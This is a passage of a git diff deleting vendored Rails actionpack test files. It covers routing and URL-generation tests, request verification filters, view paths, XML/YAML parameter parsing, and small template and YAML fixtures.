-    controller = kls.new
-    assert controller.respond_to?(:home_url)
-    assert_equal 'http://www.basecamphq.com/home/sweet/home/again',
-      controller.send(:home_url, :host => 'www.basecamphq.com', :user => 'again')
-
-    assert_equal("/home/sweet/home/alabama", controller.send(:home_path, :user => 'alabama', :host => 'unused'))
-    assert_equal("http://www.basecamphq.com/home/sweet/home/alabama", controller.send(:home_url, :user => 'alabama', :host => 'www.basecamphq.com'))
-    assert_equal("http://www.basecamphq.com/this/is/verbose", controller.send(:no_args_url, :host=>'www.basecamphq.com'))
-  ensure
-    ActionController::Routing::Routes.load!
-  end
-
-  def test_relative_url_root_is_respected_for_named_routes
-    orig_relative_url_root = ActionController::Base.relative_url_root
-    ActionController::Base.relative_url_root = '/subdir'
-
-    ActionController::Routing::Routes.draw do |map|
-      map.home '/home/sweet/home/:user', :controller => 'home', :action => 'index'
-    end
-
-    kls = Class.new { include ActionController::UrlWriter }
-    controller = kls.new
-
-    assert_equal 'http://www.basecamphq.com/subdir/home/sweet/home/again',
-      controller.send(:home_url, :host => 'www.basecamphq.com', :user => 'again')
-  ensure
-    ActionController::Routing::Routes.load!
-    ActionController::Base.relative_url_root = orig_relative_url_root
-  end
-
-  def test_only_path
-    ActionController::Routing::Routes.draw do |map|
-      map.home '/home/sweet/home/:user', :controller => 'home', :action => 'index'
-      map.connect ':controller/:action/:id'
-    end
-
-    # We need to create a new class in order to install the new named route.
-    kls = Class.new { include ActionController::UrlWriter }
-    controller = kls.new
-    assert controller.respond_to?(:home_url)
-    assert_equal '/brave/new/world',
-      controller.send(:url_for, :controller => 'brave', :action => 'new', :id => 'world', :only_path => true)
-
-    assert_equal("/home/sweet/home/alabama", controller.send(:home_url, :user => 'alabama', :host => 'unused', :only_path => true))
-    assert_equal("/home/sweet/home/alabama", controller.send(:home_path, 'alabama'))
-  ensure
-    ActionController::Routing::Routes.load!
-  end
-
-  def test_one_parameter
-    assert_equal('/c/a?param=val',
-      W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :param => 'val')
-    )
-  end
-
-  def test_two_parameters
-    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :p1 => 'X1', :p2 => 'Y2')
-    params = extract_params(url)
-    assert_equal params[0], { :p1 => 'X1' }.to_query
-    assert_equal params[1], { :p2 => 'Y2' }.to_query
-  end
-
-  def test_hash_parameter
-    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:name => 'Bob', :category => 'prof'})
-    params = extract_params(url)
-    assert_equal params[0], { 'query[category]' => 'prof' }.to_query
-    assert_equal params[1], { 'query[name]'     => 'Bob'  }.to_query
-  end
-
-  def test_array_parameter
-    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => ['Bob', 'prof'])
-    params = extract_params(url)
-    assert_equal params[0], { 'query[]' => 'Bob'  }.to_query
-    assert_equal params[1], { 'query[]' => 'prof' }.to_query
-  end
-
-  def test_hash_recursive_parameters
-    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :query => {:person => {:name => 'Bob', :position => 'prof'}, :hobby => 'piercing'})
-    params = extract_params(url)
-    assert_equal params[0], { 'query[hobby]'            => 'piercing' }.to_query
-    assert_equal params[1], { 'query[person][name]'     => 'Bob'      }.to_query
-    assert_equal params[2], { 'query[person][position]' => 'prof'     }.to_query
-  end
-
-  def test_hash_recursive_and_array_parameters
-    url = W.new.url_for(:only_path => true, :controller => 'c', :action => 'a', :id => 101, :query => {:person => {:name => 'Bob', :position => ['prof', 'art director']}, :hobby => 'piercing'})
-    assert_match %r(^/c/a/101), url
-    params = extract_params(url)
-    assert_equal params[0], { 'query[hobby]'              => 'piercing'     }.to_query
-    assert_equal params[1], { 'query[person][name]'       => 'Bob'          }.to_query
-    assert_equal params[2], { 'query[person][position][]' => 'prof'         }.to_query
-    assert_equal params[3], { 'query[person][position][]' => 'art director' }.to_query
-  end
-
-  def test_path_generation_for_symbol_parameter_keys
-    assert_generates("/image", :controller=> :image)
-  end
-
-  def test_named_routes_with_nil_keys
-    ActionController::Routing::Routes.clear!
-    ActionController::Routing::Routes.draw do |map|
-      map.main '', :controller => 'posts', :format => nil
-      map.resources :posts
-      map.connect ':controller/:action/:id'
-    end
-    # We need to create a new class in order to install the new named route.
-    kls = Class.new { include ActionController::UrlWriter }
-    kls.default_url_options[:host] = 'www.basecamphq.com'
-
-    controller = kls.new
-    params = {:action => :index, :controller => :posts, :format => :xml}
-    assert_equal("http://www.basecamphq.com/posts.xml", controller.send(:url_for, params))
-    params[:format] = nil
-    assert_equal("http://www.basecamphq.com/", controller.send(:url_for, params))
-  ensure
-    ActionController::Routing::Routes.load!
-  end
-
-  def test_formatted_url_methods_are_deprecated
-    ActionController::Routing::Routes.draw do |map|
-      map.resources :posts
-    end
-    # We need to create a new class in order to install the new named route.
-    kls = Class.new { include ActionController::UrlWriter }
-    controller = kls.new
-    params = {:id => 1, :format => :xml}
-    assert_deprecated do
-      assert_equal("/posts/1.xml", controller.send(:formatted_post_path, params))    
-    end
-    assert_deprecated do
-      assert_equal("/posts/1.xml", controller.send(:formatted_post_path, 1, :xml))    
-    end
-  ensure
-    ActionController::Routing::Routes.load!
-  end
-
-  def test_multiple_includes_maintain_distinct_options
-    first_class = Class.new { include ActionController::UrlWriter }
-    second_class = Class.new { include ActionController::UrlWriter }
-
-    first_host, second_host = 'firsthost.com', 'secondhost.com'
-
-    first_class.default_url_options[:host] = first_host
-    second_class.default_url_options[:host] = second_host
-
-    assert_equal first_class.default_url_options[:host], first_host
-    assert_equal second_class.default_url_options[:host], second_host
-  end
-
-  private
-    def extract_params(url)
-      url.split('?', 2).last.split('&')
-    end
-end
diff --git a/vendor/rails/actionpack/test/controller/verification_test.rb b/vendor/rails/actionpack/test/controller/verification_test.rb
deleted file mode 100644
index 418a81ba..00000000
--- a/vendor/rails/actionpack/test/controller/verification_test.rb
+++ /dev/null
@@ -1,270 +0,0 @@
-require 'abstract_unit'
-
-class VerificationTest < ActionController::TestCase
-  class TestController < ActionController::Base
-    verify :only => :guarded_one, :params => "one",
-           :add_flash => { :error => 'unguarded' },
-           :redirect_to => { :action => "unguarded" }
-
-    verify :only => :guarded_two, :params => %w( one two ),
-           :redirect_to => { :action => "unguarded" }
-
-    verify :only => :guarded_with_flash, :params => "one",
-           :add_flash => { :notice => "prereqs failed" },
-           :redirect_to => { :action => "unguarded" }
-
-    verify :only => :guarded_in_session, :session => "one",
-           :redirect_to => { :action => "unguarded" }
-
-    verify :only => [:multi_one, :multi_two], :session => %w( one two ),
-           :redirect_to => { :action => "unguarded" }
-
-    verify :only => :guarded_by_method, :method => :post,
-           :redirect_to => { :action => "unguarded" }
-
-    verify :only => :guarded_by_xhr, :xhr => true,
-           :redirect_to => { :action => "unguarded" }
-
-    verify :only => :guarded_by_not_xhr, :xhr => false,
-           :redirect_to => { :action => "unguarded" }
-
-    before_filter :unconditional_redirect, :only => :two_redirects
-    verify :only => :two_redirects, :method => :post,
-           :redirect_to => { :action => "unguarded" }
-
-    verify :only => :must_be_post, :method => :post, :render => { :status => 405, :text => "Must be post" }, :add_headers => { "Allow" => "POST" }
-
-    verify :only => :guarded_one_for_named_route_test, :params => "one",
-           :redirect_to => :foo_url
-
-    verify :only => :no_default_action, :params => "santa"
-
-    verify :only => :guarded_with_back, :method => :post,
-           :redirect_to => :back
-
-    def guarded_one
-      render :text => "#{params[:one]}"
-    end
-
-    def guarded_one_for_named_route_test
-      render :text => "#{params[:one]}"
-    end
-
-    def guarded_with_flash
-      render :text => "#{params[:one]}"
-    end
-
-    def guarded_two
-      render :text => "#{params[:one]}:#{params[:two]}"
-    end
-
-    def guarded_in_session
-      render :text => "#{session["one"]}"
-    end
-
-    def multi_one
-      render :text => "#{session["one"]}:#{session["two"]}"
-    end
-
-    def multi_two
-      render :text => "#{session["two"]}:#{session["one"]}"
-    end
-
-    def guarded_by_method
-      render :text => "#{request.method}"
-    end
-
-    def guarded_by_xhr
-      render :text => "#{request.xhr?}"
-    end
-
-    def guarded_by_not_xhr
-      render :text => "#{request.xhr?}"
-    end
-
-    def unguarded
-      render :text => "#{params[:one]}"
-    end
-
-    def two_redirects
-      render :nothing => true
-    end
-
-    def must_be_post
-      render :text => "Was a post!"
-    end
-
-    def guarded_with_back
-      render :text => "#{params[:one]}"
-    end
-
-    def no_default_action
-      # Will never run
-    end
-
-    protected
-      def rescue_action(e) raise end
-
-      def unconditional_redirect
-        redirect_to :action => "unguarded"
-      end
-  end
-
-  def setup
-    @controller = TestController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-    ActionController::Routing::Routes.add_named_route :foo, '/foo', :controller => 'test', :action => 'foo'
-  end
-
-  def test_using_symbol_back_with_no_referrer
-    assert_raise(ActionController::RedirectBackError) { get :guarded_with_back }
-  end
-
-  def test_using_symbol_back_redirects_to_referrer
-    @request.env["HTTP_REFERER"] = "/foo"
-    get :guarded_with_back
-    assert_redirected_to '/foo'
-  end
-
-  def test_no_deprecation_warning_for_named_route
-    assert_not_deprecated do
-      get :guarded_one_for_named_route_test, :two => "not one"
-      assert_redirected_to '/foo'
-    end
-  end
-
-  def test_guarded_one_with_prereqs
-    get :guarded_one, :one => "here"
-    assert_equal "here", @response.body
-  end
-
-  def test_guarded_one_without_prereqs
-    get :guarded_one
-    assert_redirected_to :action => "unguarded"
-    assert_equal 'unguarded', flash[:error]
-  end
-
-  def test_guarded_with_flash_with_prereqs
-    get :guarded_with_flash, :one => "here"
-    assert_equal "here", @response.body
-    assert flash.empty?
-  end
-
-  def test_guarded_with_flash_without_prereqs
-    get :guarded_with_flash
-    assert_redirected_to :action => "unguarded"
-    assert_equal "prereqs failed", flash[:notice]
-  end
-
-  def test_guarded_two_with_prereqs
-    get :guarded_two, :one => "here", :two => "there"
-    assert_equal "here:there", @response.body
-  end
-
-  def test_guarded_two_without_prereqs_one
-    get :guarded_two, :two => "there"
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_guarded_two_without_prereqs_two
-    get :guarded_two, :one => "here"
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_guarded_two_without_prereqs_both
-    get :guarded_two
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_unguarded_with_params
-    get :unguarded, :one => "here"
-    assert_equal "here", @response.body
-  end
-
-  def test_unguarded_without_params
-    get :unguarded
-    assert_equal "", @response.body
-  end
-
-  def test_guarded_in_session_with_prereqs
-    get :guarded_in_session, {}, "one" => "here"
-    assert_equal "here", @response.body
-  end
-
-  def test_guarded_in_session_without_prereqs
-    get :guarded_in_session
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_multi_one_with_prereqs
-    get :multi_one, {}, "one" => "here", "two" => "there"
-    assert_equal "here:there", @response.body
-  end
-
-  def test_multi_one_without_prereqs
-    get :multi_one
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_multi_two_with_prereqs
-    get :multi_two, {}, "one" => "here", "two" => "there"
-    assert_equal "there:here", @response.body
-  end
-
-  def test_multi_two_without_prereqs
-    get :multi_two
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_guarded_by_method_with_prereqs
-    post :guarded_by_method
-    assert_equal "post", @response.body
-  end
-
-  def test_guarded_by_method_without_prereqs
-    get :guarded_by_method
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_guarded_by_xhr_with_prereqs
-    xhr :post, :guarded_by_xhr
-    assert_equal "true", @response.body
-  end
-
-  def test_guarded_by_xhr_without_prereqs
-    get :guarded_by_xhr
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_guarded_by_not_xhr_with_prereqs
-    get :guarded_by_not_xhr
-    assert_equal "false", @response.body
-  end
-
-  def test_guarded_by_not_xhr_without_prereqs
-    xhr :post, :guarded_by_not_xhr
-    assert_redirected_to :action => "unguarded"
-  end
-
-  def test_guarded_post_and_calls_render_succeeds
-    post :must_be_post
-    assert_equal "Was a post!", @response.body
-  end
-
-  def test_default_failure_should_be_a_bad_request
-    post :no_default_action
-    assert_response :bad_request
-  end
-
-  def test_guarded_post_and_calls_render_fails_and_sets_allow_header
-    get :must_be_post
-    assert_response 405
-    assert_equal "Must be post", @response.body
-    assert_equal "POST", @response.headers["Allow"]
-  end
-
-  def test_second_redirect
-    assert_nothing_raised { get :two_redirects }
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/view_paths_test.rb b/vendor/rails/actionpack/test/controller/view_paths_test.rb
deleted file mode 100644
index 8ea13fbe..00000000
--- a/vendor/rails/actionpack/test/controller/view_paths_test.rb
+++ /dev/null
@@ -1,141 +0,0 @@
-require 'abstract_unit'
-
-class ViewLoadPathsTest < ActionController::TestCase
-  class TestController < ActionController::Base
-    def self.controller_path() "test" end
-    def rescue_action(e) raise end
-
-    before_filter :add_view_path, :only => :hello_world_at_request_time
-
-    def hello_world() end
-    def hello_world_at_request_time() render(:action => 'hello_world') end
-
-    private
-      def add_view_path
-        prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
-      end
-  end
-
-  class Test::SubController < ActionController::Base
-    layout 'test/sub'
-    def hello_world; render(:template => 'test/hello_world'); end
-  end
-
-  def setup
-    TestController.view_paths = nil
-
-    @request  = ActionController::TestRequest.new
-    @response = ActionController::TestResponse.new
-
-    @controller = TestController.new
-    # Following is needed in order to setup @controller.template object properly
-    @controller.send :initialize_template_class, @response
-    @controller.send :assign_shortcuts, @request, @response
-
-    # Track the last warning.
-    @old_behavior = ActiveSupport::Deprecation.behavior
-    @last_message = nil
-    ActiveSupport::Deprecation.behavior = Proc.new { |message, callback| @last_message = message }
-  end
-
-  def teardown
-    ActiveSupport::Deprecation.behavior = @old_behavior
-  end
-  
-  def test_template_load_path_was_set_correctly
-    assert_equal [FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
-  end
-
-  def test_controller_appends_view_path_correctly
-    @controller.append_view_path 'foo'
-    assert_equal [FIXTURE_LOAD_PATH, 'foo'], @controller.view_paths.map(&:to_s)
-
-    @controller.append_view_path(%w(bar baz))
-    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz'], @controller.view_paths.map(&:to_s)
-
-    @controller.append_view_path(FIXTURE_LOAD_PATH)
-    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
-  end
-
-  def test_controller_prepends_view_path_correctly
-    @controller.prepend_view_path 'baz'
-    assert_equal ['baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
-
-    @controller.prepend_view_path(%w(foo bar))
-    assert_equal ['foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
-
-    @controller.prepend_view_path(FIXTURE_LOAD_PATH)
-    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
-  end
-
-  def test_template_appends_view_path_correctly
-    @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
-    class_view_paths = TestController.view_paths
-
-    @controller.append_view_path 'foo'
-    assert_equal [FIXTURE_LOAD_PATH, 'foo'], @controller.view_paths.map(&:to_s)
-
-    @controller.append_view_path(%w(bar baz))
-    assert_equal [FIXTURE_LOAD_PATH, 'foo', 'bar', 'baz'], @controller.view_paths.map(&:to_s)
-    assert_equal class_view_paths, TestController.view_paths
-  end
-
-  def test_template_prepends_view_path_correctly
-    @controller.instance_variable_set :@template, ActionView::Base.new(TestController.view_paths, {}, @controller)
-    class_view_paths = TestController.view_paths
-
-    @controller.prepend_view_path 'baz'
-    assert_equal ['baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
-
-    @controller.prepend_view_path(%w(foo bar))
-    assert_equal ['foo', 'bar', 'baz', FIXTURE_LOAD_PATH], @controller.view_paths.map(&:to_s)
-    assert_equal class_view_paths, TestController.view_paths
-  end
-
-  def test_view_paths
-    get :hello_world
-    assert_response :success
-    assert_equal "Hello world!", @response.body
-  end
-
-  def test_view_paths_override
-    TestController.prepend_view_path "#{FIXTURE_LOAD_PATH}/override"
-    get :hello_world
-    assert_response :success
-    assert_equal "Hello overridden world!", @response.body
-  end
-
-  def test_view_paths_override_for_layouts_in_controllers_with_a_module
-    @controller = Test::SubController.new
-    Test::SubController.view_paths = [ "#{FIXTURE_LOAD_PATH}/override", FIXTURE_LOAD_PATH, "#{FIXTURE_LOAD_PATH}/override2" ]
-    get :hello_world
-    assert_response :success
-    assert_equal "layout: Hello overridden world!", @response.body
-  end
-
-  def test_view_paths_override_at_request_time
-    get :hello_world_at_request_time
-    assert_response :success
-    assert_equal "Hello overridden world!", @response.body
-  end
-
-  def test_inheritance
-    original_load_paths = ActionController::Base.view_paths
-
-    self.class.class_eval %{
-      class A < ActionController::Base; end
-      class B < A; end
-      class C < ActionController::Base; end
-    }
-
-    A.view_paths = ['a/path']
-
-    assert_equal ['a/path'], A.view_paths.map(&:to_s)
-    assert_equal A.view_paths, B.view_paths
-    assert_equal original_load_paths, C.view_paths
-
-    C.view_paths = []
-    assert_nothing_raised { C.view_paths << 'c/path' }
-    assert_equal ['c/path'], C.view_paths.map(&:to_s)
-  end
-end
diff --git a/vendor/rails/actionpack/test/controller/webservice_test.rb b/vendor/rails/actionpack/test/controller/webservice_test.rb
deleted file mode 100644
index e89d6bb9..00000000
--- a/vendor/rails/actionpack/test/controller/webservice_test.rb
+++ /dev/null
@@ -1,260 +0,0 @@
-require 'abstract_unit'
-
-class WebServiceTest < ActionController::IntegrationTest
-  class TestController < ActionController::Base
-    def assign_parameters
-      if params[:full]
-        render :text => dump_params_keys
-      else
-        render :text => (params.keys - ['controller', 'action']).sort.join(", ")
-      end
-    end
-
-    def dump_params_keys(hash = params)
-      hash.keys.sort.inject("") do |s, k|
-        value = hash[k]
-        value = Hash === value ? "(#{dump_params_keys(value)})" : ""
-        s << ", " unless s.empty?
-        s << "#{k}#{value}"
-      end
-    end
-
-    def rescue_action(e) raise end
-  end
-
-  def setup
-    @controller = TestController.new
-    @default_param_parsers = ActionController::Base.param_parsers.dup
-  end
-
-  def teardown
-    ActionController::Base.param_parsers = @default_param_parsers
-  end
-
-  def test_check_parameters
-    with_test_route_set do
-      get "/"
-      assert_equal '', @controller.response.body
-    end
-  end
-
-  def test_post_xml
-    with_test_route_set do
-      post "/", '<entry attributed="true"><summary>content...</summary></entry>',
-        {'CONTENT_TYPE' => 'application/xml'}
-
-      assert_equal 'entry', @controller.response.body
-      assert @controller.params.has_key?(:entry)
-      assert_equal 'content...', @controller.params["entry"]['summary']
-      assert_equal 'true', @controller.params["entry"]['attributed']
-    end
-  end
-
-  def test_put_xml
-    with_test_route_set do
-      put "/", '<entry attributed="true"><summary>content...</summary></entry>',
-        {'CONTENT_TYPE' => 'application/xml'}
-
-      assert_equal 'entry', @controller.response.body
-      assert @controller.params.has_key?(:entry)
-      assert_equal 'content...', @controller.params["entry"]['summary']
-      assert_equal 'true', @controller.params["entry"]['attributed']
-    end
-  end
-
-  def test_put_xml_using_a_type_node
-    with_test_route_set do
-      put "/", '<type attributed="true"><summary>content...</summary></type>',
-        {'CONTENT_TYPE' => 'application/xml'}
-
-      assert_equal 'type', @controller.response.body
-      assert @controller.params.has_key?(:type)
-      assert_equal 'content...', @controller.params["type"]['summary']
-      assert_equal 'true', @controller.params["type"]['attributed']
-    end
-  end
-
-  def test_put_xml_using_a_type_node_and_attribute
-    with_test_route_set do
-      put "/", '<type attributed="true"><summary type="boolean">false</summary></type>',
-        {'CONTENT_TYPE' => 'application/xml'}
-
-      assert_equal 'type', @controller.response.body
-      assert @controller.params.has_key?(:type)
-      assert_equal false, @controller.params["type"]['summary']
-      assert_equal 'true', @controller.params["type"]['attributed']
-    end
-  end
-
-  def test_post_xml_using_a_type_node
-    with_test_route_set do
-      post "/", '<font attributed="true"><type>arial</type></font>',
-        {'CONTENT_TYPE' => 'application/xml'}
-
-      assert_equal 'font', @controller.response.body
-      assert @controller.params.has_key?(:font)
-      assert_equal 'arial', @controller.params['font']['type']
-      assert_equal 'true', @controller.params["font"]['attributed']
-    end
-  end
-
-  def test_post_xml_using_a_root_node_named_type
-    with_test_route_set do
-      post "/", '<type type="integer">33</type>',
-        {'CONTENT_TYPE' => 'application/xml'}
-
-      assert @controller.params.has_key?(:type)
-      assert_equal 33, @controller.params['type']
-    end
-  end
-
-  def test_post_xml_using_an_attributted_node_named_type
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::XML] = Proc.new { |data| Hash.from_xml(data)['request'].with_indifferent_access }
-      post "/", '<request><type type="string">Arial,12</type><z>3</z></request>',
-        {'CONTENT_TYPE' => 'application/xml'}
-
-      assert_equal 'type, z', @controller.response.body
-      assert @controller.params.has_key?(:type)
-      assert_equal 'Arial,12', @controller.params['type'], @controller.params.inspect
-      assert_equal '3', @controller.params['z'], @controller.params.inspect
-    end
-  end
-
-  def test_register_and_use_yaml
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::YAML] = Proc.new { |d| YAML.load(d) }
-      post "/", {"entry" => "loaded from yaml"}.to_yaml,
-        {'CONTENT_TYPE' => 'application/x-yaml'}
-
-      assert_equal 'entry', @controller.response.body
-      assert @controller.params.has_key?(:entry)
-      assert_equal 'loaded from yaml', @controller.params["entry"]
-    end
-  end
-
-  def test_register_and_use_yaml_as_symbol
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::YAML] = :yaml
-      post "/", {"entry" => "loaded from yaml"}.to_yaml,
-        {'CONTENT_TYPE' => 'application/x-yaml'}
-
-      assert_equal 'entry', @controller.response.body
-      assert @controller.params.has_key?(:entry)
-      assert_equal 'loaded from yaml', @controller.params["entry"]
-    end
-  end
-
-  def test_register_and_use_xml_simple
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::XML] = Proc.new { |data| Hash.from_xml(data)['request'].with_indifferent_access }
-      post "/", '<request><summary>content...</summary><title>SimpleXml</title></request>',
-        {'CONTENT_TYPE' => 'application/xml'}
-
-      assert_equal 'summary, title', @controller.response.body
-      assert @controller.params.has_key?(:summary)
-      assert @controller.params.has_key?(:title)
-      assert_equal 'content...', @controller.params["summary"]
-      assert_equal 'SimpleXml', @controller.params["title"]
-    end
-  end
-
-  def test_use_xml_ximple_with_empty_request
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-      assert_nothing_raised { post "/", "", {'CONTENT_TYPE' => 'application/xml'} }
-      assert_equal "", @controller.response.body
-    end
-  end
-
-  def test_dasherized_keys_as_xml
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-      post "/?full=1", "<first-key>\n<sub-key>...</sub-key>\n</first-key>",
-        {'CONTENT_TYPE' => 'application/xml'}
-      assert_equal 'action, controller, first_key(sub_key), full', @controller.response.body
-      assert_equal "...", @controller.params[:first_key][:sub_key]
-    end
-  end
-
-  def test_typecast_as_xml
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-      xml = <<-XML
-        <data>
-          <a type="integer">15</a>
-          <b type="boolean">false</b>
-          <c type="boolean">true</c>
-          <d type="date">2005-03-17</d>
-          <e type="datetime">2005-03-17T21:41:07Z</e>
-          <f>unparsed</f>
-          <g type="integer">1</g>
-          <g>hello</g>
-          <g type="date">1974-07-25</g>
-        </data>
-      XML
-      post "/", xml, {'CONTENT_TYPE' => 'application/xml'}
-
-      params = @controller.params
-      assert_equal 15, params[:data][:a]
-      assert_equal false, params[:data][:b]
-      assert_equal true, params[:data][:c]
-      assert_equal Date.new(2005,3,17), params[:data][:d]
-      assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
-      assert_equal "unparsed", params[:data][:f]
-      assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
-    end
-  end
-
-  def test_entities_unescaped_as_xml_simple
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::XML] = :xml_simple
-      xml = <<-XML
-        <data>&lt;foo &quot;bar&apos;s&quot; &amp; friends&gt;</data>
-      XML
-      post "/", xml, {'CONTENT_TYPE' => 'application/xml'}
-      assert_equal %(<foo "bar's" & friends>), @controller.params[:data]
-    end
-  end
-
-  def test_typecast_as_yaml
-    with_test_route_set do
-      ActionController::Base.param_parsers[Mime::YAML] = :yaml
-      yaml = <<-YAML
-        ---
-        data:
-          a: 15
-          b: false
-          c: true
-          d: 2005-03-17
-          e: 2005-03-17T21:41:07Z
-          f: unparsed
-          g:
-            - 1
-            - hello
-            - 1974-07-25
-      YAML
-      post "/", yaml, {'CONTENT_TYPE' => 'application/x-yaml'}
-      params = @controller.params
-      assert_equal 15, params[:data][:a]
-      assert_equal false, params[:data][:b]
-      assert_equal true, params[:data][:c]
-      assert_equal Date.new(2005,3,17), params[:data][:d]
-      assert_equal Time.utc(2005,3,17,21,41,7), params[:data][:e]
-      assert_equal "unparsed", params[:data][:f]
-      assert_equal [1, "hello", Date.new(1974,7,25)], params[:data][:g]
-    end
-  end
-
-  private
-    def with_test_route_set
-      with_routing do |set|
-        set.draw do |map|
-          map.with_options :controller => "web_service_test/test" do |c|
-            c.connect "/", :action => "assign_parameters"
-          end
-        end
-        yield
-      end
-    end
-end
diff --git a/vendor/rails/actionpack/test/fixtures/_top_level_partial.html.erb b/vendor/rails/actionpack/test/fixtures/_top_level_partial.html.erb
deleted file mode 100644
index 0b1c2e46..00000000
--- a/vendor/rails/actionpack/test/fixtures/_top_level_partial.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-top level partial html
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/_top_level_partial_only.erb b/vendor/rails/actionpack/test/fixtures/_top_level_partial_only.erb
deleted file mode 100644
index 44f25b61..00000000
--- a/vendor/rails/actionpack/test/fixtures/_top_level_partial_only.erb
+++ /dev/null
@@ -1 +0,0 @@
-top level partial
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/addresses/list.erb b/vendor/rails/actionpack/test/fixtures/addresses/list.erb
deleted file mode 100644
index c75e01ee..00000000
--- a/vendor/rails/actionpack/test/fixtures/addresses/list.erb
+++ /dev/null
@@ -1 +0,0 @@
-We only need to get this far!
diff --git a/vendor/rails/actionpack/test/fixtures/alternate_helpers/foo_helper.rb b/vendor/rails/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
deleted file mode 100644
index a956fce6..00000000
--- a/vendor/rails/actionpack/test/fixtures/alternate_helpers/foo_helper.rb
+++ /dev/null
@@ -1,3 +0,0 @@
-module FooHelper
-  def baz() end
-end
diff --git a/vendor/rails/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb b/vendor/rails/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb
deleted file mode 100644
index d22af431..00000000
--- a/vendor/rails/actionpack/test/fixtures/bad_customers/_bad_customer.html.erb
+++ /dev/null
@@ -1 +0,0 @@
-<%= greeting %> bad customer: <%= bad_customer.name %><%= bad_customer_counter %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/companies.yml b/vendor/rails/actionpack/test/fixtures/companies.yml
deleted file mode 100644
index 707f72ab..00000000
--- a/vendor/rails/actionpack/test/fixtures/companies.yml
+++ /dev/null
@@ -1,24 +0,0 @@
-thirty_seven_signals:
-  id: 1
-  name: 37Signals
-  rating: 4
-
-TextDrive:
-  id: 2
-  name: TextDrive
-  rating: 4
-
-PlanetArgon:
-  id: 3
-  name: Planet Argon
-  rating: 4
-
-Google:
-  id: 4
-  name: Google
-  rating: 4
-  
-Ionist:
-  id: 5
-  name: Ioni.st
-  rating: 4
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/company.rb b/vendor/rails/actionpack/test/fixtures/company.rb
deleted file mode 100644
index cbbd0edb..00000000
--- a/vendor/rails/actionpack/test/fixtures/company.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-class Company < ActiveRecord::Base
-  has_one :mascot
-  attr_protected :rating
-  set_sequence_name :companies_nonstd_seq
-
-  validates_presence_of :name
-  def validate
-    errors.add('rating', 'rating should not be 2') if rating == 2
-  end  
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/content_type/render_default_content_types_for_respond_to.rhtml b/vendor/rails/actionpack/test/fixtures/content_type/render_default_content_types_for_respond_to.rhtml
deleted file mode 100644
index 25dc7468..00000000
--- a/vendor/rails/actionpack/test/fixtures/content_type/render_default_content_types_for_respond_to.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-<hello>world</hello>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rhtml.rhtml b/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rhtml.rhtml
deleted file mode 100644
index c7926d48..00000000
--- a/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rhtml.rhtml
+++ /dev/null
@@ -1 +0,0 @@
-<%= 'hello world!' %>
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rjs.rjs b/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rjs.rjs
deleted file mode 100644
index 8d614d04..00000000
--- a/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rjs.rjs
+++ /dev/null
@@ -1 +0,0 @@
-page.alert 'hello world!'
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rxml.rxml b/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rxml.rxml
deleted file mode 100644
index 598d62e2..00000000
--- a/vendor/rails/actionpack/test/fixtures/content_type/render_default_for_rxml.rxml
+++ /dev/null
@@ -1 +0,0 @@
-xml.p "Hello world!"
\ No newline at end of file
